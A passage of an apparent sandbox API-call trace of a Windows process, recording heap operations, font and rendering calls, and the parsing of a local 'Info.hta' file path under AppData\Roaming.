dwFlags=0x0, lpMem=0x82eac0 | out: hHeap=0x7f0000) returned 1 [0083.647] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x82eac0 [0083.647] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82eac0 | out: hHeap=0x7f0000) returned 1 [0083.647] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x82eac0 [0083.647] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82eac0 | out: hHeap=0x7f0000) returned 1 [0083.647] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x100) returned 0x84f040 [0083.648] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.648] RtlReAllocateHeap (Heap=0x7f0000, Flags=0x0, Ptr=0x83f740, Size=0x6c) returned 0x84a9a8 [0083.648] RedrawWindow (hWnd=0x60018, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0xa1) returned 1 [0083.648] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b360 | out: hHeap=0x7f0000) returned 1 [0083.648] RtlReAllocateHeap (Heap=0x7f0000, Flags=0x0, Ptr=0x829510, Size=0x14) returned 0x829510 [0083.648] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.648] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81cb48 | out: hHeap=0x7f0000) returned 1 [0083.648] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x84ea40 | out: hHeap=0x7f0000) returned 1 [0083.651] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830d10 | out: hHeap=0x7f0000) returned 1 [0083.652] IUnknown:Release (This=0x81c134) returned 0xc [0083.652] IUnknown:Release (This=0x825878) returned 0x2 [0083.652] IUnknown:Release (This=0x81c134) returned 0xb [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x836738 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x835258 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] IUnknown:Release (This=0x81c134) returned 0xa [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] IUnknown:Release (This=0x81c134) returned 0x9 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.652] IUnknown:Release (This=0x81c134) returned 0x8 [0083.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.653] IUnknown:Release (This=0x835718) returned 0x1 [0083.653] IUnknown:Release (This=0x835718) returned 0x0 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8348d0 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.653] IUnknown:Release (This=0x81c134) returned 0x5 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x801f80 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8350a0 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8345e8 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x834720 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x804818 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x834790 | out: hHeap=0x7f0000) returned 1 [0083.653] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82e5f0 | out: hHeap=0x7f0000) returned 1 [0083.653] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc) returned 0x804818 [0083.653] RegisterDragDrop (hwnd=0x60018, pDropTarget=0x738896cc) returned 0x0 [0083.654] GetCurrentThreadId () returned 0xcd8 [0083.654] GetCurrentThreadId () returned 0xcd8 [0083.654] GetCurrentThreadId () returned 0xcd8 [0083.654] GetCurrentThreadId () returned 0xcd8 [0083.654] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc) returned 0x84ea40 [0083.654] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x64) returned 0x84aa20 [0083.656] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xec) returned 0x8345e8 [0083.656] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.656] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.657] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xdc) returned 0x8346e0 [0083.657] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x80d8a0 [0083.658] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x250) returned 0x8350a0 [0083.659] LsGetRubyLsimethods () returned 0x0 [0083.659] LsGetTatenakayokoLsimethods () returned 0x0 [0083.659] LsGetHihLsimethods () returned 0x0 [0083.659] LsGetWarichuLsimethods () returned 0x0 [0083.659] LsGetReverseLsimethods () returned 0x0 [0083.659] LsCreateContext () returned 0x0 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x670) returned 0x835718 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831cc8 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x110) returned 0x847240 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831cf8 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2e4) returned 0x835d90 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x84e368 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x84e390 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa0) returned 0x8347c8 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x83e370 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x84e3b8 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x84e3e0 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x84e408 [0083.659] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x84e430 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x400) returned 0x84f148 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x81ba80 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x83b278 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x83b288 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x83b298 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x128) returned 0x836080 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x11c) returned 0x84f550 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x108) returned 0x8352f8 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x130) returned 0x84f678 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x110) returned 0x847358 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x278) returned 0x84f7b0 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc8) returned 0x84fa30 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x190) returned 0x84fb00 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x78) returned 0x801f80 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf0) returned 0x84fc98 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x82e5f0 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x194) returned 0x84fd90 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc8) returned 0x836738 [0083.660] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x190) returned 0x836808 [0083.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x108) returned 0x8369a0 [0083.661] LsSetModWidthPairs () returned 0x0 [0083.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x240) returned 0x836ab0 [0083.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x838b78 [0083.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x84e458 [0083.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x10) returned 0x84ea58 [0083.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2e0) returned 0x836cf8 [0083.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d28 [0083.663] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc0) returned 0x836fe0 [0083.663] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc0) returned 0x8370a8 [0083.663] LsSetBreaking () returned 0x0 [0083.663] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x271) returned 0x837170 [0083.663] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa) returned 0x84ea70 [0083.663] LsSetDoc () returned 0x0 [0083.663] LsCreateLine () returned 0x0 [0083.663] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xb4) returned 0x8373f0 [0083.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xb4) returned 0x8374b0 [0083.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xf8) returned 0x837570 [0083.664] EnumFontsW (hdc=0x3010ae4, lpLogfont="Times New Roman", lpProc=0x734a0b47, lParam=0x30e6cc) returned 1 [0083.666] CreateFontIndirectW (lplf=0x30e668) returned 0x1f0a0842 [0083.666] SelectObject (hdc=0x3010ae4, h=0x1f0a0842) returned 0x18a002e [0083.666] GetTextMetricsW (in: hdc=0x3010ae4, lptm=0x30e5d0 | out: lptm=0x30e5d0) returned 1 [0083.671] GetOutlineTextMetricsW (in: hdc=0x3010ae4, cjCopy=0xd8, potm=0x30e4d0 | out: potm=0x30e4d0) returned 0xd8 [0083.672] SelectObject (hdc=0x3010ae4, h=0x18a002e) returned 0x1f0a0842 [0083.672] SelectObject (hdc=0x3010ae4, h=0x1f0a0842) returned 0x18a002e [0083.672] GetTextFaceW (in: hdc=0x3010ae4, c=32, lpName=0x30e720 | out: lpName="Times New Roman") returned 16 [0083.672] SelectObject (hdc=0x3010ae4, h=0x18a002e) returned 0x1f0a0842 [0083.672] SelectObject (hdc=0x3010ae4, h=0x1f0a0842) returned 0x18a002e [0083.672] GetTextCharsetInfo (in: hdc=0x3010ae4, lpSig=0x30e688, dwFlags=0x0 | out: lpSig=0x30e688) returned 0 [0083.672] SelectObject (hdc=0x3010ae4, h=0x18a002e) returned 0x1f0a0842 [0083.672] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xc) returned 0x84ea88 [0083.672] SelectObject (hdc=0x3010ae4, h=0x1f0a0842) returned 0x18a002e [0083.672] GetFontUnicodeRanges (in: hdc=0x3010ae4, lpgs=0x0 | out: lpgs=0x0) returned 0x27c [0083.672] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.672] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x27c) returned 0x829bf0 [0083.672] GetFontUnicodeRanges (in: hdc=0x3010ae4, lpgs=0x829bf0 | out: lpgs=0x829bf0) returned 0x27c [0083.672] SelectObject (hdc=0x3010ae4, h=0x18a002e) returned 0x1f0a0842 [0083.672] SelectObject (hdc=0x3010ae4, h=0x1f0a0842) returned 0x18a002e [0083.672] GetCharWidth32W (in: hdc=0x3010ae4, iFirst=0x20, iLast=0x7e, lpBuffer=0x30e660 | out: lpBuffer=0x30e660) returned 1 [0083.674] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x17c) returned 0x829e78 [0083.674] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x800) returned 0x82a000 [0083.674] SelectObject (hdc=0x3010ae4, h=0x18a002e) returned 0x1f0a0842 [0083.675] LsQueryLineDup () returned 0x0 [0083.675] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xb4) returned 0x837670 [0083.675] LsDestroyLine () returned 0x0 [0083.675] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x83c738 [0083.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x83e3b8 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x836cf8 | out: hHeap=0x7f0000) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] IntersectRect (in: lprcDst=0x30f42c, lprcSrc1=0x30f42c, lprcSrc2=0x30f3fc | out: lprcDst=0x30f42c) returned 1 [0083.677] IntersectRect (in: lprcDst=0x837af8, lprcSrc1=0x837af8, lprcSrc2=0x30f41c | out: lprcDst=0x837af8) returned 1 [0083.677] IntersectRect (in: lprcDst=0x837af8, lprcSrc1=0x837af8, lprcSrc2=0x30f43c | out: lprcDst=0x837af8) returned 1 [0083.677] IntersectRect (in: lprcDst=0x30f0ec, lprcSrc1=0x30f0ec, lprcSrc2=0x30f0bc | out: lprcDst=0x30f0ec) returned 1 [0083.677] IntersectRect (in: lprcDst=0x837af8, lprcSrc1=0x837af8, lprcSrc2=0x30f0dc | out: lprcDst=0x837af8) returned 1 [0083.677] IntersectRect (in: lprcDst=0x837af8, lprcSrc1=0x837af8, lprcSrc2=0x30f0fc | out: lprcDst=0x837af8) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.677] IntersectRect (in: lprcDst=0x30f000, lprcSrc1=0x30f000, lprcSrc2=0x837ae8 | out: lprcDst=0x30f000) returned 1 [0083.677] UnionRect (in: lprcDst=0x30f308, lprcSrc1=0x30f308, lprcSrc2=0x30f2b4 | out: lprcDst=0x30f308) returned 1 [0083.677] IntersectRect (in: lprcDst=0x30f2a0, lprcSrc1=0x30f2a0, lprcSrc2=0x30f238 | out: lprcDst=0x30f2a0) returned 1 [0083.677] IntersectRect (in: lprcDst=0x30f1b0, lprcSrc1=0x30f1b0, lprcSrc2=0x30f238 | out: lprcDst=0x30f1b0) returned 1 [0083.677] IntersectRect (in: lprcDst=0x30f248, lprcSrc1=0x30f248, lprcSrc2=0x30f1b0 | out: lprcDst=0x30f248) returned 1 [0083.677] IntersectRect (in: lprcDst=0x30f2a0, lprcSrc1=0x30f2a0, lprcSrc2=0x30f238 | out: lprcDst=0x30f2a0) returned 1 [0083.677] IntersectRect (in: lprcDst=0x30f2a0, lprcSrc1=0x30f2a0, lprcSrc2=0x30f238 | out: lprcDst=0x30f2a0) returned 1 [0083.677] IntersectRect (in: lprcDst=0x30f1b0, lprcSrc1=0x30f1b0, lprcSrc2=0x30f238 | out: lprcDst=0x30f1b0) returned 1 [0083.678] IntersectRect (in: lprcDst=0x30f248, lprcSrc1=0x30f248, lprcSrc2=0x30f1b0 | out: lprcDst=0x30f248) returned 1 [0083.678] IntersectRect (in: lprcDst=0x30f2a0, lprcSrc1=0x30f2a0, lprcSrc2=0x30f238 | out: lprcDst=0x30f2a0) returned 1 [0083.678] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.678] UnionRect (in: lprcDst=0x30f648, lprcSrc1=0x30f648, lprcSrc2=0x30f5f4 | out: lprcDst=0x30f648) returned 1 [0083.678] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x831d58 [0083.678] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0083.678] RedrawWindow (hWnd=0x60018, lprcUpdate=0x30f6c8, hrgnUpdate=0x0, flags=0x21) returned 1 [0083.678] GetFocus () returned 0x60018 [0083.678] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x83b2a8 [0083.678] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4) returned 0x83b2b8 [0083.678] GetFocus () returned 0x60018 [0083.678] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f370 | out: lpPoint=0x30f370) returned 1 [0083.678] GetCapture () returned 0x0 [0083.678] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x831d58 [0083.678] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.679] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x831d88 [0083.679] GetCurrentThreadId () returned 0xcd8 [0083.679] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.679] GetCurrentThreadId () returned 0xcd8 [0083.679] GetCurrentThreadId () returned 0xcd8 [0083.679] GetFocus () returned 0x60018 [0083.679] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f370 | out: lpPoint=0x30f370) returned 1 [0083.679] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.680] GetCurrentThreadId () returned 0xcd8 [0083.680] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.680] GetCurrentThreadId () returned 0xcd8 [0083.680] GetCurrentThreadId () returned 0xcd8 [0083.680] RtlReAllocateHeap (Heap=0x7f0000, Flags=0x0, Ptr=0x84a9a8, Size=0x9c) returned 0x836cf8 [0083.680] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f370 | out: lpPoint=0x30f370) returned 1 [0083.680] GetCapture () returned 0x0 [0083.680] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.680] GetCurrentThreadId () returned 0xcd8 [0083.681] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.681] GetCurrentThreadId () returned 0xcd8 [0083.681] GetCurrentThreadId () returned 0xcd8 [0083.681] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f370 | out: lpPoint=0x30f370) returned 1 [0083.681] GetCapture () returned 0x0 [0083.681] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.681] GetCurrentThreadId () returned 0xcd8 [0083.681] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.681] GetCurrentThreadId () returned 0xcd8 [0083.681] GetCurrentThreadId () returned 0xcd8 [0083.681] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f370 | out: lpPoint=0x30f370) returned 1 [0083.682] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.682] GetCurrentThreadId () returned 0xcd8 [0083.682] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.682] GetCurrentThreadId () returned 0xcd8 [0083.682] GetCurrentThreadId () returned 0xcd8 [0083.682] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f370 | out: lpPoint=0x30f370) returned 1 [0083.682] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.682] GetCurrentThreadId () returned 0xcd8 [0083.682] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.683] GetCurrentThreadId () returned 0xcd8 [0083.683] GetCurrentThreadId () returned 0xcd8 [0083.683] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0083.683] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83b2a8 | out: hHeap=0x7f0000) returned 1 [0083.683] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0083.683] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83b2b8 | out: hHeap=0x7f0000) returned 1 [0083.683] GetCurrentThreadId () returned 0xcd8 [0083.683] GetFocus () returned 0x60018 [0083.683] GetFocus () returned 0x60018 [0083.683] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", ppu=0x30f6c0 | out: ppu=0x30f6c0) returned 0x0 [0083.683] IUnknown:AddRef (This=0x81c494) returned 0x4 [0083.683] IUri:GetAbsoluteUri (in: This=0x81c494, pbstrAbsoluteUri=0x30f740 | out: pbstrAbsoluteUri=0x30f740*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta") returned 0x0 [0083.683] IUnknown:Release (This=0x81c494) returned 0x3 [0083.683] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f538 | out: lpPoint=0x30f538) returned 1 [0083.683] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.684] GetCurrentThreadId () returned 0xcd8 [0083.684] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.684] GetCurrentThreadId () returned 0xcd8 [0083.684] GetCurrentThreadId () returned 0xcd8 [0083.684] GetFocus () returned 0x60018 [0083.684] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f6a8 | out: lpPoint=0x30f6a8) returned 1 [0083.684] GetClientRect (in: hWnd=0x60018, lpRect=0x30f698 | out: lpRect=0x30f698) returned 1 [0083.684] PostMessageW (hWnd=0x60018, Msg=0x20, wParam=0x18, lParam=0x1) returned 1 [0083.684] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x769d0000 [0083.684] GetProcAddress (hModule=0x769d0000, lpProcName="VariantClear") returned 0x769d3eae [0083.684] LoadStringW (in: hInstance=0x71ce0000, uID=0x1fe9, lpBuffer=0x30f330, cchBufferMax=512 | out: lpBuffer="Done") returned 0x4 [0083.684] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.684] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.685] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xe) returned 0x84eaa0 [0083.686] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", ppu=0x30f248 | out: ppu=0x30f248) returned 0x0 [0083.688] IUnknown:AddRef (This=0x81c494) returned 0x4 [0083.688] CoInternetIsFeatureEnabled (FeatureEntry=0xc, dwFlags=0x2) returned 0x1 [0083.689] IUnknown:Release (This=0x81c494) returned 0x3 [0083.689] IUnknown:AddRef (This=0x81c494) returned 0x4 [0083.689] IUri:GetScheme (in: This=0x81c494, pdwScheme=0x30e7bc | out: pdwScheme=0x30e7bc*=0x9) returned 0x0 [0083.689] IUnknown:QueryInterface (in: This=0x81c494, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30e79c | out: 